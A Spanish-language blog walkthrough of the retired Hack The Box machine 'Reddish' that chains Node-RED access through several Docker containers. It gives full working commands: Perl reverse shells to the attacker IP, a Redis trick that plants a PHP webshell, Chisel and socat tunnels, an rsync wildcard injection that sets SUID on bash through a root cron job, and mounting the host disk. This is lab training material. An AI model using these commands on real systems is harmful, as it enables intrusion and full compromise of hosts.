Avatar Blog Personal de K0Hack sobre Conceptos Hacking Etico // HTB // TryHackMe // Resumenes de Hacking // Herramientas para distintas tareas.

Maquina Retirada Reddish de Hack The Box (Necesario VIP)

Reddish ~ Pivoting ~ Hack The Box

Realizamos el Primer escaneo con Nmap

$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.94       "

Procedemos con el siguiente escaneo de Nmap

PORT     STATE SERVICE VERSION
1880/tcp open  http    Node.js Express framework
|_http-title: Error

Probamos a hechar un vistazo a la web y vemos que nos pone lo siguiente: Can not GET.

Procedemos a usar el comando curlpara hacer una peticion por el metodo POST

# curl -X POST "http://10.10.10.94:1880"                                      
{"id":"889671fb6a1a1ce0a10677b25be4eef8","ip":"::ffff:10.10.14.12","path":"/red/{id}"}

Hacemos lo que nos indica: Usamos Firefox para de nuevo chequear a donde nos lleva la ruta que nos indican -> http://10.10.10.94:1880/red/889671fb6a1a1ce0a10677b25be4eef8

Node-RED

Nos abre una session de Node-Red - Que es Node-RED? https://gruposinelec.com/que-es-node-red-y-para-que-sirve/

"Node-RED" es una herramienta de "programación visual" que se implementa en dispositivos controladores de hardware. Trabaja mostrando de manera visual las relaciones y funciones de manera que se pueda programar sin escribir. 
Es un "panel de flow al que se pueden incorporar nodos que se comuniquen entre ellos" y puede instalarse en equipos como ordenadores Windows, Linux, o en servidores en la nube.

Procedemos a buscar por INPUT & OUTPUT, y selecionamos respectivamente para los dos, los nodos TCP/INPUT & TCP/OUTPUT.

  • El siguiente paso seria buscar por la funcion EXEC colocandola entre los dos nodos TCP output & TCP input Procedemos a conetar los nodos de la siguiente forma TCP INPUT~EXEC~TCP OUTPUT para que justo ahora procedamos a setear los valores en los nodos TCP INPUT Y OUTPUT. Para TCP_INPUT: metemos nuestra IP+ PUERTO y seleccionamos el valor TYPE de la siguiente forma: CONNECT TO $PORT & AT HOST $IP
    Para TCP_OUTPUT: Seteamos simplemente el valor TYPE en REPLAY TO TCP

Ganando Acceso al Node-RED

Nos ponemos a la escucha ya directamente con el comando nc -vlnp 443 preparados para activar el boton de DEPLOY en el NODE-RED (Boton en la parte superior Derecha)

# nc -vlnp 443                                                                                                                                                                                                1 ⚙
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.94] 36216
whoami
root

Procedemos a enumerar a ver si la maquina tiene perl para lanzarnos una Reverse_shell en condiciones ya que vemos que a esta no se le puede hacer un tratamiento de la tty

[object Object]which perl
/usr/bin/perl

Vemos que efectivamente dispone de perl asique procedemos a enviarnos otra Reverse_shell:

perl -e 'use Socket;$i="10.10.14.12";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 

La Recibimos:

# nc -nlvp 443         
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.94] 36230
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# script /dev/null -c bash
root@nodered:/node-red# ^Z
zsh: suspended  nc -nlvp 443
                                                    
# stty raw -echo; fg                                                                                                                                                                                    148 ⨯ 1 ⚙
[1]  + continued  nc -nlvp 443
                              reset
reset: unknown terminal type unknown
Terminal type? xterm

root@nodered:/node-red# export TERM=xterm
root@nodered:/node-red# export SHELL=bash
root@nodered:/node-red# stty rows 50 columns 212

Listamos las Interfaces de Red Disponibles

root@nodered:/node-red# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
7: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
       valid_lft forever preferred_lft forever
17: eth1@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:13:00:04 brd ff:ff:ff:ff:ff:ff
    inet 172.19.0.4/16 brd 172.19.255.255 scope global eth1
       valid_lft forever preferred_lft forever
root@nodered:/node-red# 

Mapeado de RED

1.-Vemos que tenemos dos segmentos de Red:

Node_RED: 
            Interfaces
    Segmento 1    - 172.18.0.2
    Segmento 2    - 172.19.0.4    

Procedemos a montarnos un Scrip en Bash para listar los posibles Host en los dos segmentos de red encontrados.

#!/bin/bash

hosts=("172.18.0" "172.19.0")

for host in ${hosts[@]}; do
        echo -e "\n[+]Enumerating $hosts.0/24\n"
        for i in $(seq 1 254); do
                timeout 1 bash -c "ping -c 1 $host.$i" &>/dev/null && echo "[*] Host: $host.$i ACTIVE [*]" &
        done; wait
done

Ahora que ya lo tenemos construido en nuestra Maquina Kali, tenemos que pasarnolo a la maquina comprometida, y vemos que que la maquina Node-RED viene bastante pelada de commandos a poder ejecutar.. asique la mejor forma de proceder es en codificar el scrip en Base64 para posteriormente decodificarlo en la maquina Node-RED ya que si cuenta con Base64`.

- Codificandolo
# base64 -w 0 hostsD.sh
IyEvYmluL2Jhc2gKCmhvc3RzPSgiMTcyLjE4LjAiICIxNzIuMTkuMCIpCgpmb3IgaG9zdCBpbiAke2hvc3RzW0BdfTsgZG8KCWVjaG8gLWUgIlxuWytdRW51bWVyYXRpbmcgJGhvc3RzLjAvMjRcbiIKCWZvciBpIGluICQoc2VxIDEgMjU0KTsgZG8KCQl0aW1lb3V0IDEgYmFzaCAtYyAicGluZyAtYyAxICRob3N0LiRpIiAmPi9kZXYvbnVsbCAmJiBlY2hvICJbKl0gSG9zdDogJGhvc3QuJGkgQUNUSVZFIFsqXSIgJgoJZG9uZTsgd2FpdApkb25lCg==

- Decodificandolo en la Maquina Victima
root@nodered:/node-red# echo "IyEvYmluL2Jhc2gKCmhvc3RzPSgiMTcyLjE4LjAiICIxNzIuMTkuMCIpCgpmb3IgaG9zdCBpbiAke2hvc3RzW0BdfTsgZG8KCWVjaG8gLWUgIlxuWytdRW51bWVyYXRpbmcgJGhvc3RzLjAvMjRcbiIKCWZvciBpIGluICQoc2VxIDEgMjU0KTsgZG8KCQl0aW1lb3V0IDEgYmFzaCAtYyAicGluZyAtYyAxICRob3N0LiRpIiAmPi9kZXYvbnVsbCAmJiBlY2hvICJbKl0gSG9zdDogJGhvc3QuJGkgQUNUSVZFIFsqXSIgJgoJZG9uZTsgd2FpdApkb25lCg==" | base64 -d > hostD.sh

Lo comprobamos con un cat y probamos a ejecutarlo tras darle privilegios con chmod +x hostD.sh:

root@nodered:/node-red# ./hostD.sh 

[+]Enumerating 172.18.0.0/24

[*] Host: 172.18.0.2 ACTIVE [*]
[*] Host: 172.18.0.1 ACTIVE [*]

[+]Enumerating 172.18.0.0/24

[*] Host: 172.19.0.4 ACTIVE [*]
[*] Host: 172.19.0.3 ACTIVE [*]
[*] Host: 172.19.0.2 ACTIVE [*]
[*] Host: 172.19.0.1 ACTIVE [*]

Volvemos al mapeado de Red

# Mapeado de RED 2 Vemos que tenemos dos segmentos de Red:

Node_RED: 
            Interfaces
    Segmento 1    - 172.18.0.2
    Segmento 2    - 172.19.0.4    

Siguientes Nuevos Hosts: 
            Interfaces
     Segmento 1   - 172.18.0.1
     Segmento 2   - 172.19.0.1 - 172.19.0.2 - 172.19.0.3

Vamos a proceder a modificar nuestro Script en Bash

# cat HostsPortsD.sh 
#!/bin/bash

hosts=("172.18.0.1" "172.19.0.1" "172.19.0.2" "172.19.0.3")

for host in ${hosts[@]}; do
        echo -e "\n[+]Scanning ports in $host\n"
        for port in $(seq 1 10000); do
                timeout 1 bash -c "echo '' > /dev/tcp/$host/$port" 2> /dev/null && echo -e "\t[*] Puerto: $port - ABIERTO [*]" &
        done; wait
done

Hacemos el mismo procedimiento para este script y lo codificamos en base64 igual que antes

- Coding en base64
# base64 -w 0 HostsPortsD.sh
IyEvYmluL2Jhc2gKCmhvc3RzPSgiMTcyLjE4LjAuMSIgIjE3Mi4xOS4wLjEiICIxNzIuMTkuMC4yIiAiMTcyLjE5LjAuMyIpCgpmb3IgaG9zdCBpbiAke2hvc3RzW0BdfTsgZG8KICAgICAgICBlY2hvIC1lICJcblsrXVNjYW5uaW5nIHBvcnRzIGluICRob3N0XG4iCiAgICAgICAgZm9yIHBvcnQgaW4gJChzZXEgMSAxMDAwMCk7IGRvCiAgICAgICAgICAgICAgICB0aW1lb3V0IDEgYmFzaCAtYyAiZWNobyAnJyA+IC9kZXYvdGNwLyRob3N0LyRwb3J0IiAyPiAvZGV2L251bGwgJiYgZWNobyAtZSAiXHRbKl0gUHVlcnRvOiAkcG9ydCAtIEFCSUVSVE8gWypdIiAmCiAgICAgICAgZG9uZTsgd2FpdApkb25lCg==

- Decoding en base64
root@nodered:/node-red# echo "IyEvYmluL2Jhc2gKCmhvc3RzPSgiMTcyLjE4LjAuMSIgIjE3Mi4xOS4wLjEiICIxNzIuMTkuMC4yIiAiMTcyLjE5LjAuMyIpCgpmb3IgaG9zdCBpbiAke2hvc3RzW0BdfTsgZG8KICAgICAgICBlY2hvIC1lICJcblsrXVNjYW5uaW5nIHBvcnRzIGluICRob3N0XG4iCiAgICAgICAgZm9yIHBvcnQgaW4gJChzZXEgMSAxMDAwMCk7IGRvCiAgICAgICAgICAgICAgICB0aW1lb3V0IDEgYmFzaCAtYyAiZWNobyAnJyA+IC9kZXYvdGNwLyRob3N0LyRwb3J0IiAyPiAvZGV2L251bGwgJiYgZWNobyAtZSAiXHRbKl0gUHVlcnRvOiAkcG9ydCAtIEFCSUVSVE8gWypdIiAmCiAgICAgICAgZG9uZTsgd2FpdApkb25lCg==" | base64 -d > hostPortsD.sh

Lo Ejecutamos en la maquina Victima Node-RED

root@nodered:/node-red# ./hostPortsD.sh 

[+]Scanning ports in 172.18.0.1             --------------- esta no tiene sentido ya que si es un docker muy probablemte por eso tenga el mismo puerto abierto
        [*] Puerto: 1880 - ABIERTO [*]

[+]Scanning ports in 172.19.0.1             ---------------- nada

[+]Scanning ports in 172.19.0.2             ---------------- puerto 80 abierto   
        [*] Puerto: 80 - ABIERTO [*]

[+]Scanning ports in 172.19.0.3             ---------------- puerto 6379 abierto
        [*] Puerto: 6379 - ABIERTO [*]

Chisel ~ PortForwarding

  • Uso de Chisel para tunelizar los puertos de esos dos Host en nuestra maquina kali como localhost: 127.0.0.1
  • Hacemos un Git Clone a este repositoriohttps://github.com/jpillora/chisel

Como nos compartimos el Chisel? Procedemos a hacer lo siguiente para compartirnoslo con NETCAT

# nc -nlvp 444 < chisel
listening on [any] 444 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.94] 34176

# Comprobacion
# md5sum chisel                                                                                                                                                                 
30746509fdce4adf32a5cd4e30a13327  chisel

En la maquina Noder-RED:

root@nodered:/node-red# cat > chisel < /dev/tcp/10.10.14.12/444
root@nodered:/node-red# md5sum chisel 
30746509fdce4adf32a5cd4e30a13327  chisel

El Archivo se a pasado correctamente asique procedemos a darle permisos de Ejecucion para Posteriormente montarme un reverse server con chisel para tunelizar los puertos que desde la Maquina Node-RED si que llegamos a nuestro Kali Atacante atraves de la maquina Node-RED

  • En nuestro Kali - Uso de chisel:
    # ./chisel server --reverse -p 1234                                                                                                                                       1 ⚙
    2021/06/15 11:02:34 server: Reverse tunnelling enabled
    2021/06/15 11:02:34 server: Fingerprint ZTFw97tFy2QFC630TVcPZtloK/mbIKPVzvRsz8Usaxw=
    2021/06/15 11:02:34 server: Listening on http://0.0.0.0:1234
    2021/06/15 11:06:56 server: session#1: tun: proxy#R:127.0.0.1:80=>172.18.0.1:80: Listening
    2021/06/15 11:06:56 server: session#1: tun: proxy#R:127.0.0.1:6379=>172.18.0.1:6379: Listening
    
  • En la maquina Node-RED uso de chisel:
    root@nodered:/tmp# ./chisel client 10.10.14.12:1234 R:127.0.0.1:80:172.19.0.2:80 R:127.0.0.1:6379:172.19.0.3:6379
    2021/06/15 09:06:54 client: Connecting to ws://10.10.14.12:1234
    2021/06/15 09:06:55 client: Connected (Latency 41.53419ms)
    

    Uso de Nmap a nivel local

    Ahora que ya tenemos accesibles los puertos con el Remote PortForwarding hacemos un scaneo con nmap sobre estos puertos pàra ver la Version y Servicios a nivel de localhost ```bash

    nmap -sC -sV -p80,6379 127.0.0.1 130 ⨯

    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-15 11:41 CEST Nmap scan report for localhost (127.0.0.1) Host is up (0.000026s latency).

PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian) |_http-title: Reddish 6379/tcp open redis Redis key-value store 4.0.9


# Acceso a la siguiente host
- Vemos que el output de nmap nos devuelve un Servicio llamado `Redis` y su Version `4.0.9`
Una vez llegados a este punto procedemos a usar la herramienta `SEARCHSPLOIT` para buscar posibles exploits potenciales para `Redis`
```bash
# searchsploit redis  
--------------------------------------------------------------------------------------------------------------------------------------
 Exploit Title                                                                                                                                                                    |  Path
------------------------------------------------------------------------------------------------------------------------------------------
Redis - Replication Code Execution (Metasploit)                                                                      | linux/remote/48272.rb
Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)                                                        | linux/remote/47195.rb
Redis 5.0 - Denial of Service                                                                                        | linux/dos/44908.txt
Redis-cli < 5.0 - Buffer Overflow (PoC)                                                                              | linux/local/44904.py
------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Vemos que nos sale un recurso que pone que es para Metasploit, asique nanai vamos a probar a buscar a nivel google redis remote command execution https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html

Vale pues procedemos a mirar el puerto 80 del host 172.19.0.2 en nuestro localhost por el puerto 80 Vemos una web que nos pone un FORBBIDEN Probamos a ver el codigo fuente de la pagina y vemos que nos sale dos rutas potenciales,

!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
html xmlns="http://www.w3.org/1999/xhtml">
    head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
        <title>Reddish</title>
        <script src="assets/jquery.js" type="text/javascript"></script>
        <script type="text/javascript">
						$(document).ready(function () {
								incrCounter();
						    getData();
						});

						function getData() {
						    $.ajax({
					        url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=get hits",
						        cache: false,
						        dataType: "text",
						        success: function (data) {
											console.log("Number of hits:", data)
						        },
						        error: function () {
						        }
						    });
						}

						function incrCounter() {
						    $.ajax({
				        url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=incr hits",
						        cache: false,
						        dataType: "text",
						        success: function (data) {
				              console.log("HITS incremented:", data);
						        },
						        error: function () {
						        }
						    });
						}

Procedemos a buscar la ruta quitando lo de ajax.php...

Vamos a usar la ruta 2 suponiendo que se encuentra a nivel del servidor en la ruta /var/www/html/8924d0549008565c554f8128cd11fda4

Nos creamos un Scrip para pwn_redis-cli.sh y subir una webshell en php a la ruta encontrada siguiendo los pasos de la web para la Vuln de RCE de Redis

#!/bin/bash

 redis-cli -h 127.0.0.1 flushall
 cat pro4shell.php | redis-cli -h 127.0.0.1 -x set crackit
 redis-cli -h 127.0.0.1 config set dir /var/www/html/8924d0549008565c554f8128cd11fda4/
 redis-cli -h 127.0.0.1 config set dbfilename "pro4shell.php"
 redis-cli -h 127.0.0.1 save

Ahora vermos que accediendo a la ruta http://localhost/8924d0549008565c554f8128cd11fda4/pro4shell.php obtenemos nuestra webshell maliciosa subida correctamente, y ejecutando comando como www-data.


http://127.0.0.1/8924d0549008565c554f8128cd11fda4/pro4shell.php?cmd=ip%20a  

1: lo:  mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
7: eth0@if8:  mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:14:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.20.0.2/16 brd 172.20.255.255 scope global eth0
       valid_lft forever preferred_lft forever
9: eth1@if10:  mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.19.0.2/16 brd 172.19.255.255 scope global eth1
       valid_lft forever preferred_lft forever,multicast,up,lower_up>,multicast,up,lower_up>,up,lower_up>
       
   "   Funciona!!!
       Pero nos lo borran rapidamente asique toca montarse un script en bash que nos ejecute estos comandos para poder tener un rce constante conforme queramos       
       # ./pwn-redis-cli.sh 
OK
OK
OK
OK
OK"

Mapeado de Red 3 + Uso de SOCAT

La maquina www-data tiene conectividad con la maquina Node-RED y nosotros con esta. Para poder hacernos llegar la Reverse_shell vamos a tener que subir el binario de socat que lo podemos descargar desde aqui https://github.com/aledbf/socat-static-binary/releases/tag/v0.0.1

Mapeado de Red:

Node_red: 
	{172.18.0.2} ./socat TCP-LISTEN:4545,fork tcp:10.10.14.12:8989
	{172.19.0.4} [4545] puerto para ponerse a la escucha para recibir una conexion de la otra maquina -----------→  10.10.14.12:8989 redireccionamiento a nuestra maquina

www-data/redis:
	{172.19.0.2/16} [4545] peticion de conexion para que pase por el contenedor vulnerado y llegue a la maquina Nodered y de ahi a nosotros
	{172.20.0.2/16}

Nuevos Hosts:
	{172.20.0.3} Vemos que esta en un segmento distinto al que desde la maquina Node-RED no llegamos, pero si desde la maquina www-data/redis
	{172.19.0.1}

Pues desde aqui, volvemos a usar una reverse_shell en perl pero la URL ENCODEAMOS tal que quede asi:

No Encode
perl -e 'use Socket;$i="10.0.0.1";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Si URL Encode
perl%20-e%20%27use%20Socket%3B%24i%3D%2210.0.0.1%22%3B%24p%3D4545%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fsh%20-i%22%29%3B%7D%3B%27

Y obtenemos una conexion de la maquina www-data/redis hacia la maquina Node-RED pero que se nos envie con socat a nuestra maquina atacante kali gracias a la regla escrita con socat. El archivo socat lo subimos a la maquina con nv -vlnp 444 < socat y en la maquina Node-RED procedemos a usar cat > socat < /dev/tcp/10.10.14.12, chequeamos que se halla pasado correctamente con un md5sum socat en los dos equipos.

Escalada de Privilegios para conseguir el user.txt

Enumeramos la maquina victima

www-data@www:/home$ find . -name user.txt -type f 2>/dev/null | xargs ls -l
-r-------- 1 1000 1000 33 Apr 23  2018 ./somaro/user.txt

Vemos que tenemos que convertirnos como Somaro

Enumeramos SUID ~ nada Enumeramos tareas Cron ~ Encontramos una Tarea Cron

www-data@www:/$ ls -l /var/spool/cron/crontabs/
ls: cannot open directory /var/spool/cron/crontabs/: Permission denied
-------------------------------
cat /etc/crontab 			nadaa
ls -l /etc/cron.d/
total 4
-rw-r--r-- 1 root root 38 May  4  2018 backup
-------------------- SIP --------------------

Aqui tenemos algo : BACKUP

www-data@www:/backup$ cat backup.sh 

cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b

Procedemos a hacer lo siguiente:

Nos creamos un script llamado test.rdb que va a ser ejecutado por root pero necesitamos meterle el parametro -e al comando rsync para que nos ejecute el archivo test.rdb con bash por eso hemos tenido que crear un segundo archivo en cuestion:

cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b/
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ 
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ touch -- '-e sh test.rdb'
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ echo 'chmod u+s /bin/bash' > test.rdb
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ ls -l
total 4
-rw-r--r-- 1 www-data www-data  0 Jun 15 13:47 -e sh test.rdb
-rw-r--r-- 1 www-data www-data 20 Jun 15 13:47 test.rdb
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$

Chequeamos a ver si la tarea Cron detectada (3min) nos ejecuta este script test.rdb y con un simple bash -p ya seriamos root

www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1029624 Nov  5  2016 /bin/bash
www-data@www:/var/www/html/f187a0ec71ce99642e4f0afbd441a68b$ bash -p
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
bash-4.3# whoami
root
--------- Pillamos la flag del User.txt ------------
bash-4.3# cd home/somaro/
bash-4.3# cat user.txt 
c09aca7cb02c968b1e9637d51xxxxxxxxxxx

Vemos si encontramos alguna flag de root.txt pero no hay nada, asiquie seguimos enumerando la maquina y nos fijamos otra vez en el script de BACKUP Aqui tenemos algo : BACKUP:873/src/backup?????

www-data@www:/backup$ cat backup.sh 

cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b

Explotacion del siguiente host atraves del comando rsync

Ya que Vemos la / de archivos nosotros con el comando rsync podemos subir archivos con el parametro -a

Atraves de el binario rsync con dos archivos que nos vamos a crear!! 1.- Llamdo ‘-e sh test.rdb’ y otro ‘test.rdb’ con el que le mandamos que nos haga chmod +us /bin/bash

Dado que en el directorio en el que metemos los archivos tiene a root con una tarea cron ejecutando todos los archivos que acaben con extension rdb

Nos fijamos en lo siguiente

bash-4.3# cat backup.sh 
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b

Hamos un PING a BACKUP ya que vemos que se llama con el comando rsync
bash-4.3# ping backup
PING backup (172.20.0.3) 56(84) bytes of data.
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.3): icmp_seq=1 ttl=64 time=0.094 ms
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.3): icmp_seq=2 ttl=64 time=0.066 ms
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.3): icmp_seq=3 ttl=64 time=0.069 ms
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.3): icmp_seq=4 ttl=64 time=0.076 ms
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.3): icmp_seq=5 ttl=64 time=0.092 ms
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.3): icmp_seq=6 ttl=64 time=0.083 ms
^C
--- backup ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5000ms
rtt min/avg/max/mdev = 0.066/0.080/0.094/0.010 ms

tenemos otro contenedor en la 172.20.0.3 

Recibimos la conexion del siguiente host 172.20.0.3

Vamos a probar a usar el comando rysync como indica a ver que sucede:

bash-4.3# rsync rsync://backup:873/src/rdb/				La RAIZ del contenedor de la ip  172.20.0.3??
drwxr-xr-x          4,096 2021/06/15 13:40:01 .
bash-4.3# rsync rsync://backup:873/src/    
drwxr-xr-x          4,096 2018/07/15 17:42:39 .
-rwxr-xr-x              0 2018/05/04 21:01:30 .dockerenv
-rwxr-xr-x            100 2018/05/04 19:55:07 docker-entrypoint.sh
drwxr-xr-x          4,096 2018/07/15 17:42:41 backup
drwxr-xr-x          4,096 2018/07/15 17:42:39 bin
drwxr-xr-x          4,096 2018/07/15 17:42:38 boot
drwxr-xr-x          4,096 2018/07/15 17:42:39 data
drwxr-xr-x          3,640 2021/06/15 06:54:10 dev
drwxr-xr-x          4,096 2018/07/15 17:42:39 etc
drwxr-xr-x          4,096 2018/07/15 17:42:38 home
drwxr-xr-x          4,096 2018/07/15 17:42:39 lib
drwxr-xr-x          4,096 2018/07/15 17:42:38 lib64
drwxr-xr-x          4,096 2018/07/15 17:42:38 media
drwxr-xr-x          4,096 2018/07/15 17:42:38 mnt
drwxr-xr-x          4,096 2018/07/15 17:42:38 opt
dr-xr-xr-x              0 2021/06/15 06:54:10 proc
drwxr-xr-x          4,096 2021/06/15 13:40:01 rdb
drwx------          4,096 2018/07/15 17:42:38 root
drwxr-xr-x          4,096 2021/06/15 06:54:11 run
drwxr-xr-x          4,096 2018/07/15 17:42:38 sbin
drwxr-xr-x          4,096 2018/07/15 17:42:38 srv
dr-xr-xr-x              0 2021/06/15 06:54:10 sys
drwxrwxrwt          4,096 2021/06/15 14:08:01 tmp
drwxr-xr-x          4,096 2018/07/15 17:42:39 usr
drwxr-xr-x          4,096 2018/07/15 17:42:39 var
bash-4.3# 

Vale pues procedemos a hacer lo siguiente.

Debemos pasarnos el Binario de SOCAT para poder ponernos a la escucha en la ultima maquina que hemos comprometido, y como la maquina anda pelada de todo pero tiene PERL Vamos a intentar hacer como un wget con perl :

Creamos otra regla en la maquina Node-RED con SOCAT:

tiramos de SOCAT  para ./socat TCP_LISTEN:6655,fork tcp:10.10.14.12:6666

Vamos a montarnos un servidor con python3 -m http.server 6666 para compartir el binario socat a la maquina www-data/redis desde nuestro kali.

# python3 -m http.server 6666                                                                                                                                                                                 1 ⚙
Serving HTTP on 0.0.0.0 port 6666 (http://0.0.0.0:6666/) ...
2021-07-01 12:54:42 VERIFY OK: depth=1, C=UK, ST=City, L=London, O=HackTheBox, CN=HackTheBox CA, name=htb, emailAddress=info@hackthebox.eu
2021-07-01 12:54:42 VERIFY KU OK
2021-07-01 12:54:42 Validating certificate extended key usage
2021-07-01 12:54:42 ++ Certificate has EKU (str) TLS Web Server Authentication, expects TLS Web Server Authentication
2021-07-01 12:54:42 VERIFY EKU OK
2021-07-01 12:54:42 VERIFY OK: depth=0, C=UK, ST=City, L=London, O=HackTheBox, CN=htb, name=htb, emailAddress=info@hackthebox.eu
2021-07-01 12:54:42 Outgoing Data Channel: Cipher 'AES-256-GCM' initialized with 256 bit key
2021-07-01 12:54:42 Incoming Data Channel: Cipher 'AES-256-GCM' initialized with 256 bit key
2021-07-01 12:54:42 Control Channel: TLSv1.2, cipher TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384, 2048 bit RSA
10.10.10.94 - - [01/Jul/2021 13:11:04] "GET /socat HTTP/1.1" 200 -

Ahora para pasarnos el archivo socat a la maquina www-data/redis (Hacemos como el wget pero con Perl):

En la Maquina WWW-data como www-data en /tmp/ : Ejecutamos este comando

perl -e 'use File::Fetch; my $url = "http://172.19.0.4:3322/socat"; my $ff= File::Fetch->new(uri=>$url); my $file = $ff->fetch() or die $ff->error;'

Para importarnos “SOCAT” y asi poder saltar a la ultima maquina y enviarnos la R-shell a nuestra maquina WWW-data para recibir la conexion reversa con SOCAT.

Nos ponemos a la escucha con Socat como si fuera un netcat
./socat TCP_LISTEN:9000 STDOUT

Recibimos la conexion hacemos un tratamiento de la tty como siempre y seguimos Estamos en la ip 172.20.0.3 — host xxxx

Enumeramos las particiones del disco con el comando $df -h

root@backup:/home# df -h
Filesystem      Size  Used Avail Use% Mounted on
overlay         7.3G  3.5G  3.8G  49% /
tmpfs            64M     0   64M   0% /dev
tmpfs          1001M     0 1001M   0% /sys/fs/cgroup
/dev/sda2       7.3G  3.5G  3.8G  49% /backup
shm              64M     0   64M   0% /dev/shm

Creamos una montura para alojar la particion entera de backup encontrada

root@backup:/home# cd /mnt 
root@backup:/mnt# mkdir test
root@backup:/mnt# mount /dev/sda2 /test 
mount: mount point /test does not exist
root@backup:/mnt#  cd ..
root@backup:/# mount /dev/sda2 /mnt/test
root@backup:/# cd !$
cd /mnt/test

# Aqui ya tenemos montada la particion del ultimo sistema o maquina en nuestra ip de 172.20.0.3 que acababamos de ganar acceso
root@backup:/mnt/test# ls
bin   home            lib64       opt   sbin  tmp      vmlinuz.old
boot  initrd.img      lost+found  proc  snap  usr
dev   initrd.img.old  media       root  srv   var
etc   lib             mnt         run   sys   vmlinuz
root@backup:/mnt/test# ls -la
total 116
drwxr-xr-x 23 root root  4096 Apr  9 12:09 .
drwxr-xr-x  1 root root  4096 Jul  1 11:38 ..
-rw-------  1 root root    48 Apr  9 12:09 .bash_history
drwxr-xr-x  2 root root  4096 Jul 16  2018 bin
drwxr-xr-x  2 root root  4096 Jul 15  2018 boot
drwxr-xr-x  4 root root  4096 Jul 15  2018 dev
drwxr-xr-x 98 root root  4096 Apr  9 11:59 etc
drwxr-xr-x  5 root root  4096 Apr  9 11:55 home
lrwxrwxrwx  1 root root    33 Jul 16  2018 initrd.img -> boot/initrd.img-4.4.0-130-generic
lrwxrwxrwx  1 root root    33 Apr 20  2018 initrd.img.old -> boot/initrd.img-4.4.0-119-generic
drwxr-xr-x 24 root root  4096 Apr  9 11:35 lib
drwxr-xr-x  2 root root  4096 Jul 15  2018 lib64
